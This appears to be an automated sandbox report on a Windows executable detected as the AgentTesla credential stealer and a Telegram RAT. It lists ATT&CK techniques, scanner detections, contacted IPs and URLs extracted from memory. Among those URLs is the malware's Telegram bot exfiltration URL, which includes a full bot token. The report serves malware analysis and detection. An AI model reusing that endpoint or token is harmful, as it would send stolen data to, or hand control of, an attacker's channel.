                Source: Yara matchFile source: Process Memory Space: rzN2ckYW24.exe PID: 6128, type: MEMORYSTR

                Remote Access Functionality

                barindex
                Yara detected Telegram RAT
                Source: Yara matchFile source: 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: rzN2ckYW24.exe PID: 6128, type: MEMORYSTR
                Yara detected AgentTesla
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.3dd31a8.13.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.0.rzN2ckYW24.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.3e099c8.12.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.3d99188.11.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.3e099c8.12.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.3dd31a8.13.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000000.279572374.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.299828968.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.522788647.0000000002854000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: rzN2ckYW24.exe PID: 3044, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: rzN2ckYW24.exe PID: 6128, type: MEMORYSTR

                Mitre Att&ck Matrix

                Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                Valid Accounts211
                Windows Management Instrumentation                		Path Interception111
                Process Injection                		1
                Disable or Modify Tools                		2
                OS Credential Dumping                		1
                Account Discovery                		Remote Services11
                Archive Collected Data                		Exfiltration Over Other Network Medium1
                Web Service                		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
                Deobfuscate/Decode Files or Information                		1
                Credentials in Registry                		114
                System Information Discovery                		Remote Desktop Protocol2
                Data from Local System                		Exfiltration Over Bluetooth1
                Ingress Tool Transfer                		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)2
                Obfuscated Files or Information                		Security Account Manager211
                Security Software Discovery                		SMB/Windows Admin Shares1
                Email Collection                		Automated Exfiltration11
                Encrypted Channel                		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)13
                Software Packing                		NTDS1
                Process Discovery                		Distributed Component Object ModelInput CaptureScheduled Transfer3
                Non-Application Layer Protocol                		SIM Card SwapCarrier Billing Fraud
                Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
                Timestomp                		LSA Secrets131
                Virtualization/Sandbox Evasion                		SSHKeyloggingData Transfer Size Limits14
                Application Layer Protocol                		Manipulate Device CommunicationManipulate App Store Rankings or Ratings
                Replication Through Removable MediaLaunchdRc.commonRc.common1
                Masquerading                		Cached Domain Credentials1
                Application Window Discovery                		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                External Remote ServicesScheduled TaskStartup ItemsStartup Items131
                Virtualization/Sandbox Evasion                		DCSync1
                System Owner/User Discovery                		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job111
                Process Injection                		Proc Filesystem1
                Remote System Discovery                		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadow1
                System Network Configuration Discovery                		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                rzN2ckYW24.exe30%VirustotalBrowse
                rzN2ckYW24.exe32%ReversingLabsByteCode-MSIL.Backdoor.Androm
                rzN2ckYW24.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                SourceDetectionScannerLabelLinkDownload
                2.0.rzN2ckYW24.exe.400000.0.unpack100%AviraTR/Spy.Gen8Download File

                Domains

                SourceDetectionScannerLabelLink
                api.ipify.org.herokudns.com0%VirustotalBrowse

                URLs

                SourceDetectionScannerLabelLink
                http://www.sajatypeworks.comiv0%URL Reputationsafe
                http://www.sajatypeworks.comiv0%URL Reputationsafe
                http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
                http://www.sakkal.comrm0%URL Reputationsafe
                http://www.jiyu-kobo.co.jp/a-d0%URL Reputationsafe
                http://www.tiro.com0%URL Reputationsafe
                http://www.goodfont.co.kr0%URL Reputationsafe
                http://www.goodfont.co.kr0%URL Reputationsafe
                http://www.sajatypeworks.com0%URL Reputationsafe
                http://www.sajatypeworks.com0%URL Reputationsafe
                http://www.typography.netD0%URL Reputationsafe
                http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
                http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                http://fontfabrik.com0%URL Reputationsafe
                http://DynDns.comDynDNSnamejidpasswordPsi/Psi0%URL Reputationsafe
                http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
                http://127.0.0.1:HTTP/1.10%Avira URL Cloudsafe
                http://www.jiyu-kobo.co.jp/Y00%URL Reputationsafe
                http://www.sandoll.co.kr0%URL Reputationsafe
                http://www.sajatypeworks.coma0%URL Reputationsafe
                http://www.urwpp.deDPlease0%URL Reputationsafe
                http://www.zhongyicts.com.cn0%URL Reputationsafe
                http://www.sakkal.com0%URL Reputationsafe
                http://www.jiyu-kobo.co.jp/dz0%VirustotalBrowse
                http://www.fontbureau.comF0%URL Reputationsafe
                https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www0%URL Reputationsafe
                http://en.wikipedia0%URL Reputationsafe
                http://www.jiyu-kobo.co.jp/jp/0%URL Reputationsafe
                http://www.fontbureau.coma0%URL Reputationsafe
                http://www.fontbureau.comd0%URL Reputationsafe
                http://en.w0%URL Reputationsafe
                http://www.carterandcone.coml0%URL Reputationsafe
                http://www.founder.com.cn/cn0%URL Reputationsafe
                https://api.ipify.orgappdatajVuurjVuur.exe/http://TMVuQQ.com0%Avira URL Cloudsafe
                http://www.founder.com.cB0%Avira URL Cloudsafe
                http://www.jiyu-kobo.co.jp/dz0%Avira URL Cloudsafe
                http://www.fontbureau.commTTF0%Avira URL Cloudsafe
                https://api.telegram.org4Tkh0%Avira URL Cloudsafe
                http://www.fontbureau.comcomF0%URL Reputationsafe
                http://www.fontbureau.comm0%URL Reputationsafe
                http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
                http://www.fontbureau.comp0%URL Reputationsafe
                http://www.fontbureau.comals0%URL Reputationsafe
                http://www.fontbureau.comitum0%Avira URL Cloudsafe
                http://www.jiyu-kobo.co.jp/b0%URL Reputationsafe
                http://wmwpuO0P35oL9Q.com0%Avira URL Cloudsafe
                http://www.fontbureau.comcomp0%Avira URL Cloudsafe
                http://www.galapagosdesign.com/staff/dennis.htmp0%Avira URL Cloudsafe
                http://www.jiyu-kobo.co.jp//ra0%Avira URL Cloudsafe
                http://www.founder.com.cn/cns-ea0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                api.ipify.org.herokudns.com
                		3.220.57.224
                		truefalseunknown
                api.telegram.org
                		149.154.167.220
                		truefalse
                  		high
                  api.ipify.org
                  		unknown
                  		unknownfalse
                    		high

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    https://api.ipify.org/false
                      		high
                      https://api.telegram.org/bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/sendDocumentfalse
                        		high

                        URLs from Memory and Binaries

                        NameSourceMaliciousAntivirus DetectionReputation
                        http://127.0.0.1:HTTP/1.1rzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		low
                        http://www.fontbureau.com/designersGrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://www.sajatypeworks.comivrzN2ckYW24.exe, 00000000.00000003.258445715.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257102086.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259940209.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259819475.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259520848.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257053691.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258806192.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261728305.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260344832.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257296101.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260291295.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261561559.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258343538.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260210658.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261692319.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257200608.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258935636.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261197728.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257254857.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258324367.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261444840.0000000005C9B000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          		unknown
                          http://www.fontbureau.com/designers/?rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://www.founder.com.cn/cn/bTherzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            https://api.telegram.orgrzN2ckYW24.exe, 00000002.00000002.525368476.0000000002ADC000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://www.sakkal.comrmrzN2ckYW24.exe, 00000000.00000003.262413128.0000000005CB5000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.fontbureau.com/designers?rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://www.jiyu-kobo.co.jp/a-drzN2ckYW24.exe, 00000000.00000003.261577709.0000000005C8B000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                https://api.telegram.org/bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/rzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://api.ipify.orgappdatajVuurjVuur.exe/http://TMVuQQ.comrzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.tiro.comrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://www.jiyu-kobo.co.jp/dzrzN2ckYW24.exe, 00000000.00000003.261577709.0000000005C8B000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • 0%, Virustotal, Browse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.fontbureau.com/designersrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://www.goodfont.co.krrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    		unknown
                                    https://api.telegram.org/bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/5596534279%discordapi%yyyrzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.founder.com.cBrzN2ckYW24.exe, 00000000.00000003.259617773.0000000005C87000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.fontbureau.com/designersSrzN2ckYW24.exe, 00000000.00000003.271274480.0000000005C88000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://www.sajatypeworks.comrzN2ckYW24.exe, 00000000.00000003.261392765.0000000005C9B000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.typography.netDrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.founder.com.cn/cn/cTherzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.galapagosdesign.com/staff/dennis.htmrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://api.ipify.orgrzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          http://fontfabrik.comrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://DynDns.comDynDNSnamejidpasswordPsi/PsirzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.galapagosdesign.com/DPleaserzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.jiyu-kobo.co.jp/Y0rzN2ckYW24.exe, 00000000.00000003.262479660.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.262420491.0000000005C8D000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.fonts.comrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.sandoll.co.krrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.sajatypeworks.comarzN2ckYW24.exe, 00000000.00000003.258445715.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257102086.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259940209.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259819475.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259520848.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257053691.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258806192.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261728305.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260344832.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257296101.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260291295.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261561559.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258343538.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260210658.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261692319.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257200608.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258935636.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261197728.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257254857.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258324367.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261444840.0000000005C9B000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.urwpp.deDPleaserzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.zhongyicts.com.cnrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namerzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.sakkal.comrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.fontbureau.commTTFrzN2ckYW24.exe, 00000000.00000003.271274480.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.304989135.0000000005C80000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.272003113.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.271826229.0000000005C87000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://api.telegram.org4TkhrzN2ckYW24.exe, 00000002.00000002.525368476.0000000002ADC000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.apache.org/licenses/LICENSE-2.0rzN2ckYW24.exe, 00000000.00000003.260307774.0000000005C87000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260356342.0000000005C87000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.fontbureau.comrzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265034269.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265360818.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.fontbureau.comFrzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.264972803.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://www.fontbureau.comitumrzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265360818.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://wwwrzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://www.fontbureau.comcomprzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://en.wikipediarzN2ckYW24.exe, 00000000.00000003.256683274.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.256591750.0000000005CA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://wmwpuO0P35oL9Q.comrzN2ckYW24.exe, 00000002.00000002.525344688.0000000002AD6000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000002.00000002.525368476.0000000002ADC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://www.galapagosdesign.com/staff/dennis.htmprzN2ckYW24.exe, 00000000.00000002.304989135.0000000005C80000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://www.jiyu-kobo.co.jp//rarzN2ckYW24.exe, 00000000.00000003.262479660.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.262420491.0000000005C8D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://www.jiyu-kobo.co.jp/jp/rzN2ckYW24.exe, 00000000.00000003.262479660.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.262420491.0000000005C8D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://www.fontbureau.comarzN2ckYW24.exe, 00000000.00000003.271274480.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.304989135.0000000005C80000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.272003113.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.271826229.0000000005C87000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://www.fontbureau.comdrzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265360818.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://en.wrzN2ckYW24.exe, 00000000.00000003.257245989.0000000005C86000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://www.carterandcone.comlrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://www.fontbureau.com/designers/cabarga.htmlNrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.founder.com.cn/cnrzN2ckYW24.exe, 00000000.00000003.259617773.0000000005C87000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259464865.0000000005C87000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259543069.0000000005C88000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    http://www.fontbureau.com/designers/frere-jones.htmlrzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.fontbureau.com/designers/cabarga.htmlrzN2ckYW24.exe, 00000000.00000003.265034269.0000000005C8D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://www.fontbureau.comcomFrzN2ckYW24.exe, 00000000.00000003.265034269.0000000005C8D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.fontbureau.commrzN2ckYW24.exe, 00000000.00000003.271826229.0000000005C87000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.jiyu-kobo.co.jp/rzN2ckYW24.exe, 00000000.00000003.261577709.0000000005C8B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.fontbureau.comprzN2ckYW24.exe, 00000000.00000003.265360818.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.fontbureau.com/designers8rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://www.fontbureau.comalsrzN2ckYW24.exe, 00000000.00000003.266665020.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265360818.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • URL Reputation: safe
                                                          		unknown
                                                          http://www.founder.com.cn/cns-earzN2ckYW24.exe, 00000000.00000003.259617773.0000000005C87000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://api.telegram.orgrzN2ckYW24.exe, 00000002.00000002.525368476.0000000002ADC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://www.jiyu-kobo.co.jp/brzN2ckYW24.exe, 00000000.00000003.262479660.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.262420491.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261577709.0000000005C8B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            • URL Reputation: safe
                                                            		unknown

                                                            World Map of Contacted IPs

                                                            • No. of IPs < 25%
                                                            • 25% < No. of IPs < 50%
                                                            • 50% < No. of IPs < 75%
                                                            • 75% < No. of IPs

                                                            Public IPs

                                                            IPDomainCountryFlagASNASN NameMalicious
                                                            149.154.167.220
                                                            		api.telegram.orgUnited Kingdom
                                                            		62041TELEGRAMRUfalse
                                                            3.220.57.224
                                                            		api.ipify.org.herokudns.comUnited States
                                                            		14618AMAZON-AESUSfalse

                                                            General Information

                                                            Joe Sandbox Version:36.0.0 Rainbow Opal
                                                            Analysis ID:736948
                                                            Start date and time:2022-11-03 12:20:04 +01:00
                                                            Joe Sandbox Product:CloudBasic
                                                            Overall analysis duration:0h 10m 8s
                                                            Hypervisor based Inspection enabled:false
                                                            Report type:full
                                                            Sample file name:rzN2ckYW24.exe
                                                            Cookbook file name:default.jbs
